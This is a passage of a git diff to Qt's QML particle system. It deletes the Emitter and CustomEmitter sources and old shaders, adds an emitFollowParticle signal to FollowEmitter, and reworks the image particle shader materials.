-varying highp vec2 fTexA;
-varying highp vec2 fTexB;
-varying lowp float progress;
-varying lowp vec4 fColor;
-varying lowp float tt;
-
-void main() {
- gl_FragColor = mix(texture2D(texture, fTexA), texture2D(texture, fTexB), progress)
- * fColor
- * texture2D(colortable, vec2(tt, 0.5))
- *( texture2D(opacitytable, vec2(tt, 0.5)).w);
-}
diff --git a/src/declarative/particles/particles.pri b/src/declarative/particles/particles.pri
index 582e1d3f8c..9f63cd81b9 100644
--- a/src/declarative/particles/particles.pri
+++ b/src/declarative/particles/particles.pri
@@ -4,7 +4,6 @@ HEADERS += \
$$PWD/qsgangleddirection_p.h \
$$PWD/qsgcustomparticle_p.h \
$$PWD/qsgellipseextruder_p.h \
- $$PWD/qsgemitter_p.h \
$$PWD/qsgfollowemitter_p.h \
$$PWD/qsgfriction_p.h \
$$PWD/qsggravity_p.h \
@@ -29,15 +28,12 @@ HEADERS += \
$$PWD/qsgwander_p.h \
$$PWD/qsgtargetaffector_p.h \
$$PWD/qsgcumulativedirection_p.h \
- $$PWD/qsgcustomemitter_p.h \
- $$PWD/qsgcustomaffector_p.h \
$$PWD/qsgv8particledata_p.h
SOURCES += \
$$PWD/qsgangleddirection.cpp \
$$PWD/qsgcustomparticle.cpp \
$$PWD/qsgellipseextruder.cpp \
- $$PWD/qsgemitter.cpp \
$$PWD/qsgfollowemitter.cpp \
$$PWD/qsgfriction.cpp \
$$PWD/qsggravity.cpp \
@@ -62,8 +58,6 @@ SOURCES += \
$$PWD/qsgwander.cpp \
$$PWD/qsgtargetaffector.cpp \
$$PWD/qsgcumulativedirection.cpp \
- $$PWD/qsgcustomemitter.cpp \
- $$PWD/qsgcustomaffector.cpp \
$$PWD/qsgv8particledata.cpp
RESOURCES += \
diff --git a/src/declarative/particles/particles.qrc b/src/declarative/particles/particles.qrc
index 85931ec9ce..5403f55266 100644
--- a/src/declarative/particles/particles.qrc
+++ b/src/declarative/particles/particles.qrc
@@ -1,22 +1,10 @@
<RCC>
<qresource prefix="/">
- <file>defaultshaders/spritefragment.shader</file>
- <file>defaultshaders/spritevertex.shader</file>
- <file>defaultshaders/ctfragment.shader</file>
- <file>defaultshaders/ctvertex.shader</file>
- <file>defaultshaders/trailsfragment.shader</file>
- <file>defaultshaders/trailsvertex.shader</file>
+ <file>defaultshaders/imagefragment.shader</file>
+ <file>defaultshaders/imagevertex.shader</file>
<file>defaultshaders/spriteimagefragment.shader</file>
<file>defaultshaders/spriteimagevertex.shader</file>
<file>defaultshaders/identitytable.png</file>
<file>defaultshaders/defaultFadeInOut.png</file>
- <file>defaultshaders/deformablefragment.shader</file>
- <file>defaultshaders/deformablevertex.shader</file>
- <file>defaultshaders/ultravertex.shader</file>
- <file>defaultshaders/ultrafragment.shader</file>
- <file>defaultshaders/supervertex.shader</file>
- <file>defaultshaders/superfragment.shader</file>
- <file>defaultshaders/simplevertex.shader</file>
- <file>defaultshaders/simplefragment.shader</file>
</qresource>
</RCC>
diff --git a/src/declarative/particles/qsgangleddirection.cpp b/src/declarative/particles/qsgangleddirection.cpp
index ffd434f980..ab39b8a575 100644
--- a/src/declarative/particles/qsgangleddirection.cpp
+++ b/src/declarative/particles/qsgangleddirection.cpp
@@ -46,7 +46,6 @@ const qreal CONV = 0.017453292519943295;
/*!
\qmlclass AngledDirection QSGAngledDirection
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits StochasticDirection
\brief The AngledDirection element allows you to specify a direction that varies in angle
diff --git a/src/declarative/particles/qsgcumulativedirection.cpp b/src/declarative/particles/qsgcumulativedirection.cpp
index 5ffdef6327..1d7523972b 100644
--- a/src/declarative/particles/qsgcumulativedirection.cpp
+++ b/src/declarative/particles/qsgcumulativedirection.cpp
@@ -45,7 +45,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass CumulativeDirection QSGCumulativeDirection
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits StochasticDirection
\brief The CumulativeDirection element allows you to specify a direction made of other directions
diff --git a/src/declarative/particles/qsgcustomemitter.cpp b/src/declarative/particles/qsgcustomemitter.cpp
deleted file mode 100644
index 0500e0c75e..0000000000
--- a/src/declarative/particles/qsgcustomemitter.cpp
+++ /dev/null
@@ -1,189 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the Declarative module of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** GNU Lesser General Public License Usage
-** This file may be used under the terms of the GNU Lesser General Public
-** License version 2.1 as published by the Free Software Foundation and
-** appearing in the file LICENSE.LGPL included in the packaging of this
-** file. Please review the following information to ensure the GNU Lesser
-** General Public License version 2.1 requirements will be met:
-** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** GNU General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU General
-** Public License version 3.0 as published by the Free Software Foundation
-** and appearing in the file LICENSE.GPL included in the packaging of this
-** file. Please review the following information to ensure the GNU General
-** Public License version 3.0 requirements will be met:
-** http://www.gnu.org/copyleft/gpl.html.
-**
-** Other Usage
-** Alternatively, this file may be used in accordance with the terms and
-** conditions contained in a signed written agreement between you and Nokia.
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include "qsgcustomemitter_p.h"
-#include "qsgparticlesystem_p.h"
-QT_BEGIN_NAMESPACE
-/*!
- \qmlclass CustomEmitter QSGCustomEmitter
- \inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
- \inherits Emitter
- \brief The Custom emitter allows you to modify particles as they are emitted
-
-*/
-
-//TODO: Document particle 'type'
-/*!
- \qmlsignal CustomEmitter::emitting(particle)
-
- This handler is called when a particle is emitted. You can modify particle
- attributes from within the handler.
-*/
-
-QSGCustomEmitter::QSGCustomEmitter(QSGItem* parent)
- : QSGParticleEmitter(parent)
- , m_particle_count(0)
- , m_reset_last(true)
- , m_last_timestamp(0)
- , m_last_emission(0)
-{
-}
-
-void QSGCustomEmitter::reset()
-{
- m_reset_last = true;
-}
-
-void QSGCustomEmitter::emitWindow(int timeStamp)
-{
- if (m_system == 0)
- return;
- if ((!m_emitting || !m_particlesPerSecond)&& !m_burstLeft && m_burstQueue.isEmpty()){
- m_reset_last = true;
- return;
- }
-
- if (m_reset_last) {
- m_last_emitter = m_last_last_emitter = QPointF(x(), y());
- m_last_timestamp = timeStamp/1000.;
- m_last_emission = m_last_timestamp;
- m_reset_last = false;
- }
-
- if (m_burstLeft){
- m_burstLeft -= timeStamp - m_last_timestamp * 1000.;
- if (m_burstLeft < 0){
- if (!m_emitting)
- timeStamp += m_burstLeft;
- m_burstLeft = 0;
- }
- }
-
- qreal time = timeStamp / 1000.;
-
- qreal particleRatio = 1. / m_particlesPerSecond;
- qreal pt = m_last_emission;
-
- qreal opt = pt; // original particle time
- qreal dt = time - m_last_timestamp; // timestamp delta...
- if (!dt)
- dt = 0.000001;
-
- // emitter difference since last...
- qreal dex = (x() - m_last_emitter.x());
- qreal dey = (y() - m_last_emitter.y());
-
- qreal sizeAtEnd = m_particleEndSize >= 0 ? m_particleEndSize : m_particleSize;
- qreal emitter_x_offset = m_last_emitter.x() - x();
- qreal emitter_y_offset = m_last_emitter.y() - y();
- if (!m_burstQueue.isEmpty() && !m_burstLeft && !m_emitting)//'outside time' emissions only
- pt = time;
- while (pt < time || !m_burstQueue.isEmpty()) {
- //int pos = m_last_particle % m_particle_count;
- QSGParticleData* datum = m_system->newDatum(m_system->m_groupIds[m_particle]);
- if (datum){//actually emit(otherwise we've been asked to skip this one)
- datum->e = this;//###useful?
- qreal t = 1 - (pt - opt) / dt;
-
-
- // Particle timestamp
- datum->t = pt;
- datum->lifeSpan = //TODO:Promote to base class?
- (m_particleDuration
- + ((rand() % ((m_particleDurationVariation*2) + 1)) - m_particleDurationVariation))
- / 1000.0;
-
- // Particle position
- QRectF boundsRect;
- if (!m_burstQueue.isEmpty()){
- boundsRect = QRectF(m_burstQueue.first().second.x() - x(), m_burstQueue.first().second.y() - y(),
- width(), height());
- } else {
- boundsRect = QRectF(emitter_x_offset + dex * (pt - opt) / dt, emitter_y_offset + dey * (pt - opt) / dt
- , width(), height());
- }
- QPointF newPos = effectiveExtruder()->extrude(boundsRect);
- datum->x = newPos.x();
- datum->y = newPos.y();
-
- // Particle speed
- const QPointF &speed = m_speed->sample(newPos);
- datum->vx = speed.x();
- datum->vy = speed.y();
-
- // Particle acceleration
- const QPointF &accel = m_acceleration->sample(newPos);
- datum->ax = accel.x();
- datum->ay = accel.y();
-
- // Particle size
- float sizeVariation = -m_particleSizeVariation
- + rand() / float(RAND_MAX) * m_particleSizeVariation * 2;
-
- float size = qMax((qreal)0.0 , m_particleSize + sizeVariation);
- float endSize = qMax((qreal)0.0 , sizeAtEnd + sizeVariation);
-
- datum->size = size;
- datum->endSize = endSize;
-
- emitParticle(datum->v8Value());//A chance for arbitrary JS changes
-
- m_system->emitParticle(datum);
- }
- if (m_burstQueue.isEmpty()){
- pt += particleRatio;
- }else{
- m_burstQueue.first().first--;
- if (m_burstQueue.first().first <= 0)
- m_burstQueue.pop_front();
- }
- }
- m_last_emission = pt;
-
- m_last_last_last_emitter = m_last_last_emitter;
- m_last_last_emitter = m_last_emitter;
- m_last_emitter = QPointF(x(), y());
- m_last_timestamp = time;
-}
-
-
-QT_END_NAMESPACE
diff --git a/src/declarative/particles/qsgcustomparticle.cpp b/src/declarative/particles/qsgcustomparticle.cpp
index 53cb131bc5..db544d20e8 100644
--- a/src/declarative/particles/qsgcustomparticle.cpp
+++ b/src/declarative/particles/qsgcustomparticle.cpp
@@ -122,7 +122,6 @@ struct PlainVertices {
/*!
\qmlclass CustomParticle QSGCustomParticle
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits ParticlePainter
\brief The CustomParticle element allows you to specify your own shader to paint particles.
@@ -420,10 +419,12 @@ void QSGCustomParticle::prepareNextFrame(){
QSGShaderEffectNode* QSGCustomParticle::buildCustomNodes()
{
+#ifdef QT_OPENGL_ES_2
if (m_count * 4 > 0xffff) {
- printf("CustomParticle: Too many particles... \n");//####Why is this here?
+ printf("CustomParticle: Too many particles... \n");
return 0;
}
+#endif
if (m_count <= 0) {
printf("CustomParticle: Too few particles... \n");
diff --git a/src/declarative/particles/qsgellipseextruder.cpp b/src/declarative/particles/qsgellipseextruder.cpp
index 59e8803b28..29fa3c8841 100644
--- a/src/declarative/particles/qsgellipseextruder.cpp
+++ b/src/declarative/particles/qsgellipseextruder.cpp
@@ -45,7 +45,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass EllipseShape QSGEllipseExtruder
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits Shape
\brief The EllipseShape represents an ellipse to other particle system elements
diff --git a/src/declarative/particles/qsgemitter.cpp b/src/declarative/particles/qsgemitter.cpp
deleted file mode 100644
index 10d59dfaf8..0000000000
--- a/src/declarative/particles/qsgemitter.cpp
+++ /dev/null
@@ -1,262 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the Declarative module of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** GNU Lesser General Public License Usage
-** This file may be used under the terms of the GNU Lesser General Public
-** License version 2.1 as published by the Free Software Foundation and
-** appearing in the file LICENSE.LGPL included in the packaging of this
-** file. Please review the following information to ensure the GNU Lesser
-** General Public License version 2.1 requirements will be met:
-** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** GNU General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU General
-** Public License version 3.0 as published by the Free Software Foundation
-** and appearing in the file LICENSE.GPL included in the packaging of this
-** file. Please review the following information to ensure the GNU General
-** Public License version 3.0 requirements will be met:
-** http://www.gnu.org/copyleft/gpl.html.
-**
-** Other Usage
-** Alternatively, this file may be used in accordance with the terms and
-** conditions contained in a signed written agreement between you and Nokia.
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include "qsgemitter_p.h"
-#include "qsgparticlesystem_p.h"
-QT_BEGIN_NAMESPACE
-
-/*!
- \qmlclass Emitter QSGBasicEmitter
- \inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
- \brief The Emitter element allows you to emit logical particles.
-
- This element emits logical particles into the ParticleSystem, with the
- given starting attributes.
-
- Note that logical particles are not
- automatically rendered, you will need to have one or more
- ParticlePainter elements visualizing them.
-
- Note that the given starting attributes can be modified at any point
- in the particle's lifetime by any Affector element in the same
- ParticleSystem. This includes attributes like lifespan.
-*/
-
-QSGBasicEmitter::QSGBasicEmitter(QSGItem* parent)
- : QSGParticleEmitter(parent)
- , m_speed_from_movement(0)
- , m_particle_count(0)
- , m_reset_last(true)
- , m_last_timestamp(0)
- , m_last_emission(0)
-{
-// setFlag(ItemHasContents);
-}
-
-/*!
- \qmlproperty ParticleSystem QtQuick.Particles2::Emitter::system
-
- This is the Particle system that the Emitter will emit into.
- This can be omitted if the Emitter is a direct child of the ParticleSystem
-*/
-/*!
- \qmlproperty string QtQuick.Particles2::Emitter::particle
-*/
-/*!
- \qmlproperty Shape QtQuick.Particles2::Emitter::shape
-*/
-/*!
- \qmlproperty bool QtQuick.Particles2::Emitter::emitting
-*/
-/*!
- \qmlproperty real QtQuick.Particles2::Emitter::emitRate
-*/
-/*!
- \qmlproperty int QtQuick.Particles2::Emitter::lifeSpan
-*/
-/*!
- \qmlproperty int QtQuick.Particles2::Emitter::lifeSpanVariation
-*/
-/*!
- \qmlproperty int QtQuick.Particles2::Emitter::emitCap
-*/
-/*!
- \qmlproperty real QtQuick.Particles2::Emitter::size
-*/
-/*!
- \qmlproperty real QtQuick.Particles2::Emitter::endSize
-*/
-/*!
- \qmlproperty real QtQuick.Particles2::Emitter::sizeVariation
-*/
-/*!
- \qmlproperty StochasticDirection QtQuick.Particles2::Emitter::speed
-*/
-/*!
- \qmlproperty StochasticDirection QtQuick.Particles2::Emitter::acceleration
-*/
-/*!
- \qmlproperty qreal QtQuick.Particles2::Emitter::speedFromMovement
-*/
-
-void QSGBasicEmitter::setSpeedFromMovement(qreal t)
-{
- if (t == m_speed_from_movement)
- return;
- m_speed_from_movement = t;
- emit speedFromMovementChanged();
-}
-
-void QSGBasicEmitter::reset()
-{
- m_reset_last = true;
-}
-
-void QSGBasicEmitter::emitWindow(int timeStamp)
-{
- if (m_system == 0)
- return;
- if ((!m_emitting || !m_particlesPerSecond)&& !m_burstLeft && m_burstQueue.isEmpty()){
- m_reset_last = true;
- return;
- }
-
- if (m_reset_last) {
- m_last_emitter = m_last_last_emitter = QPointF(x(), y());
- m_last_timestamp = timeStamp/1000.;
- m_last_emission = m_last_timestamp;
- m_reset_last = false;
- }
-
- if (m_burstLeft){
- m_burstLeft -= timeStamp - m_last_timestamp * 1000.;
- if (m_burstLeft < 0){
- if (!m_emitting)
- timeStamp += m_burstLeft;
- m_burstLeft = 0;
- }
- }
-
- qreal time = timeStamp / 1000.;
-
- qreal particleRatio = 1. / m_particlesPerSecond;
- qreal pt = m_last_emission;
-
- qreal opt = pt; // original particle time
- qreal dt = time - m_last_timestamp; // timestamp delta...
- if (!dt)
- dt = 0.000001;
-
- // emitter difference since last...
- qreal dex = (x() - m_last_emitter.x());
- qreal dey = (y() - m_last_emitter.y());
-
- qreal ax = (m_last_last_emitter.x() + m_last_emitter.x()) / 2;
- qreal bx = m_last_emitter.x();
- qreal cx = (x() + m_last_emitter.x()) / 2;
- qreal ay = (m_last_last_emitter.y() + m_last_emitter.y()) / 2;
- qreal by = m_last_emitter.y();
- qreal cy = (y() + m_last_emitter.y()) / 2;
-
- qreal sizeAtEnd = m_particleEndSize >= 0 ? m_particleEndSize : m_particleSize;
- qreal emitter_x_offset = m_last_emitter.x() - x();
- qreal emitter_y_offset = m_last_emitter.y() - y();
- if (!m_burstQueue.isEmpty() && !m_burstLeft && !m_emitting)//'outside time' emissions only
- pt = time;
- while (pt < time || !m_burstQueue.isEmpty()) {
- //int pos = m_last_particle % m_particle_count;
- QSGParticleData* datum = m_system->newDatum(m_system->m_groupIds[m_particle]);
- if (datum){//actually emit(otherwise we've been asked to skip this one)
- datum->e = this;//###useful?
- qreal t = 1 - (pt - opt) / dt;
- qreal vx =
- - 2 * ax * (1 - t)
- + 2 * bx * (1 - 2 * t)
- + 2 * cx * t;
- qreal vy =
- - 2 * ay * (1 - t)
- + 2 * by * (1 - 2 * t)
- + 2 * cy * t;
-
-
- // Particle timestamp
- datum->t = pt;
- datum->lifeSpan = //TODO:Promote to base class?
- (m_particleDuration
- + ((rand() % ((m_particleDurationVariation*2) + 1)) - m_particleDurationVariation))
- / 1000.0;
-
- // Particle position
- QRectF boundsRect;
- if (!m_burstQueue.isEmpty()){
- boundsRect = QRectF(m_burstQueue.first().second.x() - x(), m_burstQueue.first().second.y() - y(),
- width(), height());
- } else {
- boundsRect = QRectF(emitter_x_offset + dex * (pt - opt) / dt, emitter_y_offset + dey * (pt - opt) / dt
- , width(), height());
- }
- QPointF newPos = effectiveExtruder()->extrude(boundsRect);
- datum->x = newPos.x();
- datum->y = newPos.y();
-
- // Particle speed
- const QPointF &speed = m_speed->sample(newPos);
- datum->vx = speed.x()
- + m_speed_from_movement * vx;
- datum->vy = speed.y()
- + m_speed_from_movement * vy;
-
- // Particle acceleration
- const QPointF &accel = m_acceleration->sample(newPos);
- datum->ax = accel.x();
- datum->ay = accel.y();
-
- // Particle size
- float sizeVariation = -m_particleSizeVariation
- + rand() / float(RAND_MAX) * m_particleSizeVariation * 2;
-
- float size = qMax((qreal)0.0 , m_particleSize + sizeVariation);
- float endSize = qMax((qreal)0.0 , sizeAtEnd + sizeVariation);
-
- datum->size = size;// * float(m_emitting);
- datum->endSize = endSize;// * float(m_emitting);
-
- m_system->emitParticle(datum);
- }
- if (m_burstQueue.isEmpty()){
- pt += particleRatio;
- }else{
- m_burstQueue.first().first--;
- if (m_burstQueue.first().first <= 0)
- m_burstQueue.pop_front();
- }
- }
- m_last_emission = pt;
-
- m_last_last_last_emitter = m_last_last_emitter;
- m_last_last_emitter = m_last_emitter;
- m_last_emitter = QPointF(x(), y());
- m_last_timestamp = time;
-}
-
-
-QT_END_NAMESPACE
diff --git a/src/declarative/particles/qsgfollowemitter.cpp b/src/declarative/particles/qsgfollowemitter.cpp
index 0d4e7f73fd..68f0f6bf75 100644
--- a/src/declarative/particles/qsgfollowemitter.cpp
+++ b/src/declarative/particles/qsgfollowemitter.cpp
@@ -45,21 +45,13 @@
QT_BEGIN_NAMESPACE
/*!
- \qmlclass Emitter QSGBasicEmitter
+ \qmlclass FollowEmitter QSGFollowEmitter
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
- \brief The Emitter element allows you to emit logical particles.
+ \inherits QSGParticleEmitter
+ \brief The FollowEmitter element allows you to emit logical particles from other logical particles.
This element emits logical particles into the ParticleSystem, with the
- given starting attributes.
-
- Note that logical particles are not
- automatically rendered, you will need to have one or more
- ParticlePainter elements visualizing them.
-
- Note that the given starting attributes can be modified at any point
- in the particle's lifetime by any Affector element in the same
- ParticleSystem. This includes attributes like lifespan.
+ starting positions based on those of other logical particles.
*/
QSGFollowEmitter::QSGFollowEmitter(QSGItem *parent) :
QSGParticleEmitter(parent)
@@ -80,24 +72,17 @@ QSGFollowEmitter::QSGFollowEmitter(QSGItem *parent) :
this, SLOT(recalcParticlesPerSecond()));
}
-
-/*!
- \qmlproperty ParticleSystem QtQuick.Particles2::FollowEmitter::system
-
- This is the Particle system that the FollowEmitter will emit into.
- This can be omitted if the FollowEmitter is a direct child of the ParticleSystem
-*/
-/*!
- \qmlproperty string QtQuick.Particles2::FollowEmitter::particle
-*/
/*!
\qmlproperty string QtQuick.Particles2::FollowEmitter::follow
+
+ The type of logical particle which this is emitting from.
*/
-/*!
- \qmlproperty Shape QtQuick.Particles2::FollowEmitter::shape
-*/
+
/*!
\qmlproperty Shape QtQuick.Particles2::FollowEmitter::emitShape
+
+ As the area of a FollowEmitter is the area it follows, a separate shape can be provided
+ to be the shape it emits out of.
*/
/*!
\qmlproperty real QtQuick.Particles2::FollowEmitter::emitWidth
@@ -106,39 +91,24 @@ QSGFollowEmitter::QSGFollowEmitter(QSGItem *parent) :
\qmlproperty real QtQuick.Particles2::FollowEmitter::emitHeight
*/
/*!
- \qmlproperty bool QtQuick.Particles2::FollowEmitter::emitting
-*/
-/*!
\qmlproperty real QtQuick.Particles2::FollowEmitter::emitRatePerParticle
*/
/*!
- \qmlproperty int QtQuick.Particles2::FollowEmitter::lifeSpan
-*/
-/*!
- \qmlproperty int QtQuick.Particles2::FollowEmitter::lifeSpanVariation
-*/
-/*!
- \qmlproperty int QtQuick.Particles2::FollowEmitter::emitCap
-*/
-/*!
- \qmlproperty real QtQuick.Particles2::FollowEmitter::size
-*/
-/*!
- \qmlproperty real QtQuick.Particles2::FollowEmitter::endSize
-*/
-/*!
- \qmlproperty real QtQuick.Particles2::FollowEmitter::sizeVariation
-*/
-/*!
- \qmlproperty StochasticDirection QtQuick.Particles2::FollowEmitter::speed
-*/
-/*!
- \qmlproperty StochasticDirection QtQuick.Particles2::FollowEmitter::acceleration
-*/
-/*!
- \qmlproperty qreal QtQuick.Particles2::FollowEmitter::speedFromMovement
+ \qmlsignal QtQuick.Particles2::FollowEmitter::emitFollowParticle(particle, followed)
+
+ This handler is called when a particle is emitted. You can modify particle
+ attributes from within the handler. followed is the particle that this is being
+ emitted off of.
+
+ If you use this signal handler, emitParticle will not be emitted.
*/
+bool QSGFollowEmitter::isEmitFollowConnected()
+{
+ static int idx = QObjectPrivate::get(this)->signalIndex("emitFollowParticle(QDeclarativeV8Handle,QDeclarativeV8Handle)");
+ return QObjectPrivate::get(this)->isSignalConnected(idx);
+}
+
void QSGFollowEmitter::recalcParticlesPerSecond(){
if (!m_system)
return;
@@ -178,6 +148,7 @@ void QSGFollowEmitter::emitWindow(int timeStamp)
}
}
+ //TODO: Implement startTime and speedFromMovement
qreal time = timeStamp / 1000.;
qreal particleRatio = 1. / m_particlesPerParticlePerSecond;
qreal pt;
@@ -202,7 +173,7 @@ void QSGFollowEmitter::emitWindow(int timeStamp)
continue;
}
while (pt < time || !m_burstQueue.isEmpty()){
- QSGParticleData* datum = m_system->newDatum(gId2);
+ QSGParticleData* datum = m_system->newDatum(gId2, !m_overwrite);
if (datum){//else, skip this emission
datum->e = this;//###useful?
@@ -236,8 +207,10 @@ void QSGFollowEmitter::emitWindow(int timeStamp)
// Particle speed
const QPointF &speed = m_speed->sample(newPos);
- datum->vx = speed.x();
+ datum->vx = speed.x()
+ + m_speed_from_movement * d->vx;
datum->vy = speed.y();
+ + m_speed_from_movement * d->vy;
// Particle acceleration
const QPointF &accel = m_acceleration->sample(newPos);
@@ -254,6 +227,11 @@ void QSGFollowEmitter::emitWindow(int timeStamp)
datum->size = size * float(m_emitting);
datum->endSize = endSize * float(m_emitting);
+ if (isEmitFollowConnected())
+ emitFollowParticle(datum->v8Value(), d->v8Value());//A chance for many arbitrary JS changes
+ else if (isEmitConnected())
+ emitParticle(datum->v8Value());//A chance for arbitrary JS changes
+
m_system->emitParticle(datum);
}
if (!m_burstQueue.isEmpty()){
diff --git a/src/declarative/particles/qsgfollowemitter_p.h b/src/declarative/particles/qsgfollowemitter_p.h
index 3fd5f1c2f8..d26435df6a 100644
--- a/src/declarative/particles/qsgfollowemitter_p.h
+++ b/src/declarative/particles/qsgfollowemitter_p.h
@@ -95,6 +95,7 @@ public:
}
signals:
+ void emitFollowParticle(QDeclarativeV8Handle particle, QDeclarativeV8Handle followed);
void particlesPerParticlePerSecondChanged(int arg);
@@ -161,6 +162,7 @@ private:
int m_followCount;
QSGParticleExtruder* m_emissionExtruder;
QSGParticleExtruder* m_defaultEmissionExtruder;
+ bool isEmitFollowConnected();
};
QT_END_NAMESPACE
diff --git a/src/declarative/particles/qsgfriction.cpp b/src/declarative/particles/qsgfriction.cpp
index e6a43013e8..6baeaf6c3b 100644
--- a/src/declarative/particles/qsgfriction.cpp
+++ b/src/declarative/particles/qsgfriction.cpp
@@ -44,7 +44,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass Friction QSGFrictionAffector
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits Affector
\brief The Friction affector slows down movement proportional to the particle's current speed.
diff --git a/src/declarative/particles/qsggravity.cpp b/src/declarative/particles/qsggravity.cpp
index 1639588917..1de2a0e014 100644
--- a/src/declarative/particles/qsggravity.cpp
+++ b/src/declarative/particles/qsggravity.cpp
@@ -46,7 +46,6 @@ const qreal CONV = 0.017453292520444443;
/*!
\qmlclass Gravity QSGGravityAffector
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits Affector
\brief The Gravity element allows you to set a constant accleration in an angle
diff --git a/src/declarative/particles/qsgimageparticle.cpp b/src/declarative/particles/qsgimageparticle.cpp
index cf1f48e036..57461a414b 100644
--- a/src/declarative/particles/qsgimageparticle.cpp
+++ b/src/declarative/particles/qsgimageparticle.cpp
@@ -54,238 +54,395 @@
QT_BEGIN_NAMESPACE
+//###Switch to define later, for now user-friendly (no compilation) debugging is worth it
+DEFINE_BOOL_CONFIG_OPTION(qmlParticlesDebug, QML_PARTICLES_DEBUG)
+
+#ifdef Q_WS_MAC
+#define SHADER_DEFINES "#version 120\n"
+#else
+#define SHADER_DEFINES ""
+#endif
+
+//TODO: Make it larger on desktop? Requires fixing up shader code with the same define
+#define UNIFORM_ARRAY_SIZE 64
+
const float CONV = 0.017453292519943295;
-class UltraMaterial : public QSGMaterial
+class ImageMaterialData
{
-public:
- UltraMaterial(bool withSprites=false)
- : texture(0)
- , colortable(0)
- , sizetable(0)
- , opacitytable(0)
- , timestamp(0)
- , framecount(1)
- , animcount(1)
- , usesSprites(withSprites)
- {
- setFlag(Blending, true);
- }
+ public:
+ ImageMaterialData()
+ : texture(0), colorTable(0)
+ {}
- ~UltraMaterial()
- {
+ ~ImageMaterialData(){
delete texture;
- delete colortable;
- delete sizetable;
- delete opacitytable;
- }
-
- virtual QSGMaterialType *type() const { static QSGMaterialType type; return &type; }
- virtual QSGMaterialShader *createShader() const;
- virtual int compare(const QSGMaterial *other) const
- {
- return this - static_cast<const UltraMaterial *>(other);
+ delete colorTable;
}
QSGTexture *texture;
- QSGTexture *colortable;
- QSGTexture *sizetable;
- QSGTexture *opacitytable;
+ QSGTexture *colorTable;
+ float sizeTable[UNIFORM_ARRAY_SIZE];
+ float opacityTable[UNIFORM_ARRAY_SIZE];
qreal timestamp;
- int framecount;
- int animcount;
- bool usesSprites;
+ qreal entry;
+ qreal framecount;
+ qreal animcount;
};
-class UltraMaterialData : public QSGMaterialShader
+
+//TODO: Move shaders inline once they've stablilized
+class TabledMaterialData : public ImageMaterialData {};
+class TabledMaterial : public QSGSimpleMaterialShader<TabledMaterialData>
{
+ QSG_DECLARE_SIMPLE_SHADER(TabledMaterial, TabledMaterialData)
+
public:
- UltraMaterialData(const char *vertexFile = 0, const char *fragmentFile = 0)
+ TabledMaterial()
{
- QFile vf(vertexFile ? vertexFile : ":defaultshaders/ultravertex.shader");
+ QFile vf(":defaultshaders/imagevertex.shader");
vf.open(QFile::ReadOnly);
- m_vertex_code = vf.readAll();
+ m_vertex_code = QByteArray(SHADER_DEFINES)
+ + QByteArray("#define TABLE\n#define DEFORM\n#define COLOR\n")
+ + vf.readAll();
- QFile ff(fragmentFile ? fragmentFile : ":defaultshaders/ultrafragment.shader");
+ QFile ff(":defaultshaders/imagefragment.shader");
ff.open(QFile::ReadOnly);
- m_fragment_code = ff.readAll();
+ m_fragment_code = QByteArray(SHADER_DEFINES)
+ + QByteArray("#define TABLE\n#define DEFORM\n#define COLOR\n")
+ + ff.readAll();
Q_ASSERT(!m_vertex_code.isNull());
Q_ASSERT(!m_fragment_code.isNull());
}
- void deactivate() {
- QSGMaterialShader::deactivate();
+ const char *vertexShader() const { return m_vertex_code.constData(); }
+ const char *fragmentShader() const { return m_fragment_code.constData(); }
- for (int i=0; i<8; ++i) {
- program()->setAttributeArray(i, GL_FLOAT, chunkOfBytes, 1, 0);
- }
+ QList<QByteArray> attributes() const {
+ return QList<QByteArray>() << "vPos" << "vTex" << "vData" << "vVec"
+ << "vColor" << "vDeformVec" << "vRotation";
+ };
+
+ void initialize() {
+ QSGSimpleMaterialShader<TabledMaterialData>::initialize();
+ program()->bind();
+ program()->setUniformValue("texture", 0);
+ program()->setUniformValue("colortable", 1);
+ glFuncs = QGLContext::currentContext()->functions();
+ m_timestamp_id = program()->uniformLocation("timestamp");
+ m_entry_id = program()->uniformLocation("entry");
+ m_sizetable_id = program()->uniformLocation("sizetable");
+ m_opacitytable_id = program()->uniformLocation("opacitytable");
+ }
+
+ void updateState(const TabledMaterialData* d, const TabledMaterialData*) {
+ glFuncs->glActiveTexture(GL_TEXTURE1);
+ d->colorTable->bind();
+
+ glFuncs->glActiveTexture(GL_TEXTURE0);
+ d->texture->bind();
+
+ program()->setUniformValue(m_timestamp_id, (float) d->timestamp);
